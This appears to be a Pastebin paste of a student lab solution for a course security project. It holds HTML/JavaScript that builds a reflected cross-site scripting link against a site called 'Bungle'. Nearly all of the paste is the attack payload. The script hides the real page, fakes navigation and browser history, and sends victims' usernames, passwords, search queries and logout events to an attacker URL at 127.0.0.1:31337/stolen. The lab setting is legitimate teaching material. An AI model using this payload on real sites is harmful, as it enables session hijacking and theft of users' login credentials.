Advertisement
Guest User

Untitled

a guest
Mar 7th, 2016
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.51 KB | None | 0 0
  1. <html>
  2. <meta charset="utf-8">
  3. <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
  4. <script>
  5. // Extend this function:
  6. function payload(attacker, prox_url) {
  7. function log(data) {
  8. console.log($.param(data))
  9. $.get(attacker, data);
  10. }
  11. function proxy(href) {
  12. var stateObj = { foo: "bar" };
  13. history.pushState(stateObj, "Search", href);
  14. fake_hist.push(href);
  15. $("html").load(href, function(){
  16. $("html").show();
  17. var username = $("#logged-in-user").text();
  18. log({event: "nav", user: username, uri: href});
  19. $("#query").val("PWND!");
  20.  
  21. //handle back button
  22. window.onpopstate = function(evt) {
  23. evt.preventDefault();
  24. fake_hist.pop()
  25. proxy(fake_hist.pop());
  26. };
  27.  
  28. //Handle Search from home page
  29. $(".search-well > form").submit(function(evt) {
  30. evt.preventDefault();
  31. var query = encodeURIComponent($("#query").val());
  32. log({event: "search", query: query});
  33. proxy("/search?q=" + query);
  34. })
  35.  
  36. //handle log in from home page
  37. $(".well > form").submit(function(evt) {
  38. evt.preventDefault();
  39. var tmp_username = $("#username").val();
  40. var tmp_password = $("#userpass").val();
  41. log({event: "login", user: tmp_username, pass: tmp_password});
  42. $.post("/login", "username="+tmp_username+"&password="+tmp_password, "text");
  43. setTimeout(function() {proxy(".");}, 300);
  44. });
  45.  
  46. //handle logout from anywhere
  47. $(".navbar-form").submit(function(evt) {
  48. evt.preventDefault();
  49. log({event: "logout", user: username});
  50. $.post("/logout", "true");
  51. setTimeout(function() {proxy(".");}, 300);
  52. })
  53.  
  54. //handle home page link from anywhere
  55. $("#bungle-lnk").click(function(evt) {
  56. evt.preventDefault();
  57. proxy(".");
  58. })
  59.  
  60. //handle search again button from search page
  61. $("#search-again-btn").removeAttr("href");
  62. $("#search-again-btn").click(function() {
  63. proxy(".");
  64. });
  65.  
  66. });
  67. }
  68. $("html").hide();
  69. var fake_hist = new Array();
  70. proxy(prox_url);
  71. }
  72.  
  73. function makeLink(xssdefense, target, attacker, prox_url) {
  74. if (xssdefense == 0) {
  75. return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" +
  76. encodeURIComponent("<script" + ">" + payload.toString() +
  77. ";payload(\"" + attacker + "\", \"" + prox_url + "\");</script" + ">");
  78. } else {
  79. // Implement code to defeat XSS defenses here.
  80. }
  81. }
  82.  
  83. var xssdefense = 0;
  84. var target = "http://bungle.cs461.cs.illinois.edu/";
  85. var attacker = "http://127.0.0.1:31337/stolen";
  86. $(function() {
  87. var url = makeLink(xssdefense, target, attacker, ".");
  88. $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
  89. });
  90. </script>
  91. <h3></h3>
  92. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement